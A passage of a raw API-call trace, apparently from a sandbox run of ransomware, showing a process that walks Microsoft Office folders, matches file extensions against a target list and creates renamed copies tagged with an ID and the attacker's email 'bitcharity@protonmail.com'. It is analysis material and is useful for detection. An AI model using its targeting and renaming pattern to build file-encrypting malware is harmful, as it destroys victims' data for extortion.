Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 102 [0265.365] lstrlenW (lpString=".jpg") returned 4 [0265.365] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0265.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 102 [0265.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 102 [0265.365] lstrlenW (lpString=".doc") returned 4 [0265.365] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0265.365] lstrlenW (lpString=".docx") returned 5 [0265.365] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0265.365] lstrlenW (lpString=".pdf") returned 4 [0265.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0265.365] lstrlenW (lpString=".xls") returned 4 [0265.365] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0265.365] lstrlenW (lpString=".xlsx") returned 5 [0265.365] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0265.366] lstrlenW (lpString=".ppt") returned 4 [0265.366] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0265.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 102 [0265.366] lstrlenW (lpString=".zip") returned 4 [0265.366] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0265.366] lstrlenW (lpString=".rar") returned 4 [0265.366] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0265.366] lstrlenW (lpString=".bz2") returned 4 [0265.366] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0265.366] lstrlenW (lpString=".7z") returned 3 [0265.366] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0265.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 102 [0265.366] lstrlenW (lpString=".dbf") returned 4 [0265.366] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0265.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 102 [0265.366] lstrlenW (lpString=".1cd") returned 4 [0265.366] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0265.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\LocalizedStrings.xml") returned 102 [0265.366] lstrlenW (lpString=".jpg") returned 4 [0265.366] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0265.366] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0265.366] lstrlenW (lpString="LocalizedStrings.xml") returned 20 [0265.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\localizedstrings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0265.369] GetFileSizeEx (in: hFile=0x1068, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=4366) returned 1 [0265.369] CloseHandle (hObject=0x1068) returned 1 [0265.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\localizedstrings.xml")) returned 0x220 [0265.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0265.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0265.370] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.370] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.371] CloseHandle (hObject=0x1068) returned 1 [0265.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 105 [0265.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 105 [0265.371] lstrlenW (lpString=".doc") returned 4 [0265.371] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0265.371] lstrlenW (lpString=".docx") returned 5 [0265.371] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0265.371] lstrlenW (lpString=".pdf") returned 4 [0265.371] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0265.371] lstrlenW (lpString=".xls") returned 4 [0265.371] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0265.371] lstrlenW (lpString=".xlsx") returned 5 [0265.371] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0265.371] lstrlenW (lpString=".ppt") returned 4 [0265.371] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0265.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 105 [0265.371] lstrlenW (lpString=".zip") returned 4 [0265.371] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0265.371] lstrlenW (lpString=".rar") returned 4 [0265.371] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0265.372] lstrlenW (lpString=".bz2") returned 4 [0265.372] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0265.372] lstrlenW (lpString=".7z") returned 3 [0265.372] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 105 [0265.372] lstrlenW (lpString=".dbf") returned 4 [0265.372] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 105 [0265.372] lstrlenW (lpString=".1cd") returned 4 [0265.372] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 105 [0265.372] lstrlenW (lpString=".jpg") returned 4 [0265.372] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 105 [0265.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 105 [0265.372] lstrlenW (lpString=".doc") returned 4 [0265.372] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0265.372] lstrlenW (lpString=".docx") returned 5 [0265.372] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0265.372] lstrlenW (lpString=".pdf") returned 4 [0265.372] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0265.372] lstrlenW (lpString=".xls") returned 4 [0265.372] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0265.372] lstrlenW (lpString=".xlsx") returned 5 [0265.372] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0265.372] lstrlenW (lpString=".ppt") returned 4 [0265.372] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0265.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 105 [0265.373] lstrlenW (lpString=".zip") returned 4 [0265.373] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0265.373] lstrlenW (lpString=".rar") returned 4 [0265.373] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0265.373] lstrlenW (lpString=".bz2") returned 4 [0265.373] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0265.373] lstrlenW (lpString=".7z") returned 3 [0265.373] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0265.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 105 [0265.373] lstrlenW (lpString=".dbf") returned 4 [0265.373] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0265.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 105 [0265.373] lstrlenW (lpString=".1cd") returned 4 [0265.373] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0265.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 105 [0265.373] lstrlenW (lpString=".jpg") returned 4 [0265.373] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0265.373] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0265.373] lstrlenW (lpString="LocalizedStrings.xml") returned 20 [0265.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\localizedstrings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0265.550] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=4363) returned 1 [0265.550] CloseHandle (hObject=0x11d0) returned 1 [0265.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\localizedstrings.xml")) returned 0x220 [0265.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0265.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1274 [0266.092] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.092] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.092] CloseHandle (hObject=0x1274) returned 1 [0266.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 102 [0266.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 102 [0266.093] lstrlenW (lpString=".doc") returned 4 [0266.093] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0266.093] lstrlenW (lpString=".docx") returned 5 [0266.093] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0266.093] lstrlenW (lpString=".pdf") returned 4 [0266.093] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0266.093] lstrlenW (lpString=".xls") returned 4 [0266.093] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0266.093] lstrlenW (lpString=".xlsx") returned 5 [0266.093] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0266.093] lstrlenW (lpString=".ppt") returned 4 [0266.093] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0266.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 102 [0266.093] lstrlenW (lpString=".zip") returned 4 [0266.093] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0266.093] lstrlenW (lpString=".rar") returned 4 [0266.093] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0266.093] lstrlenW (lpString=".bz2") returned 4 [0266.093] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0266.093] lstrlenW (lpString=".7z") returned 3 [0266.093] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0266.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 102 [0266.093] lstrlenW (lpString=".dbf") returned 4 [0266.093] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0266.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 102 [0266.093] lstrlenW (lpString=".1cd") returned 4 [0266.093] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0266.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 102 [0266.093] lstrlenW (lpString=".jpg") returned 4 [0266.094] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0266.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 102 [0266.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 102 [0266.094] lstrlenW (lpString=".doc") returned 4 [0266.094] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0266.094] lstrlenW (lpString=".docx") returned 5 [0266.094] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0266.094] lstrlenW (lpString=".pdf") returned 4 [0266.094] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0266.094] lstrlenW (lpString=".xls") returned 4 [0266.094] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0266.094] lstrlenW (lpString=".xlsx") returned 5 [0266.094] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0266.094] lstrlenW (lpString=".ppt") returned 4 [0266.094] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0266.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 102 [0266.094] lstrlenW (lpString=".zip") returned 4 [0266.094] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0266.094] lstrlenW (lpString=".rar") returned 4 [0266.094] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0266.094] lstrlenW (lpString=".bz2") returned 4 [0266.094] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0266.094] lstrlenW (lpString=".7z") returned 3 [0266.094] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0266.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 102 [0266.094] lstrlenW (lpString=".dbf") returned 4 [0266.094] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0266.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 102 [0266.094] lstrlenW (lpString=".1cd") returned 4 [0266.094] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0266.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned 102 [0266.094] lstrlenW (lpString=".jpg") returned 4 [0266.094] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0266.095] lstrcmpiW (lpString1=".XSL", lpString2=".com") returned 1 [0266.095] lstrlenW (lpString="GB.XSL") returned 6 [0266.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\gb.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1274 [0266.115] GetFileSizeEx (in: hFile=0x1274, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=268670) returned 1 [0266.115] CloseHandle (hObject=0x1274) returned 1 [0266.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\gb.xsl")) returned 0x220 [0266.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GB.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\gb.xsl.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0266.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\gb.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1274 [0266.120] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.121] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GB.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\gb.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.121] CloseHandle (hObject=0x1274) returned 1 [0266.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GB.XSL") returned 73 [0266.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GB.XSL") returned 73 [0266.121] lstrlenW (lpString=".doc") returned 4 [0266.121] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0266.121] lstrlenW (lpString=".docx") returned 5 [0266.121] lstrcmpiW (lpString1=".docx", lpString2="B.XSL") returned -1 [0266.121] lstrlenW (lpString=".pdf") returned 4 [0266.121] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0266.121] lstrlenW (lpString=".xls") returned 4 [0266.121] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0266.121] lstrlenW (lpString=".xlsx") returned 5 [0266.121] lstrcmpiW (lpString1=".xlsx", lpString2="B.XSL") returned -1 [0266.121] lstrlenW (lpString=".ppt") returned 4 [0266.121] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0266.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GB.XSL") returned 73 [0266.121] lstrlenW (lpString=".zip") returned 4 [0266.121] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0266.122] lstrlenW (lpString=".rar") returned 4 [0266.122] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0266.122] lstrlenW (lpString=".bz2") returned 4 [0266.122] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0266.122] lstrlenW (lpString=".7z") returned 3 [0266.122] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0266.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GB.XSL") returned 73 [0266.122] lstrlenW (lpString=".dbf") returned 4 [0266.122] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0266.122] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.123] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GostName.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\gostname.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.123] CloseHandle (hObject=0x1274) returned 1 [0266.129] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.129] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\GostTitle.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\gosttitle.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.130] CloseHandle (hObject=0x1274) returned 1 [0266.131] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.131] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\harvardanglia2008officeonline.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.131] CloseHandle (hObject=0x1274) returned 1 [0266.132] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.132] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\ieee2006officeonline.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.132] CloseHandle (hObject=0x1274) returned 1 [0266.133] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.133] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\ISO690.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\iso690.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.133] CloseHandle (hObject=0x1274) returned 1 [0266.134] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.134] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\ISO690Nmerical.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 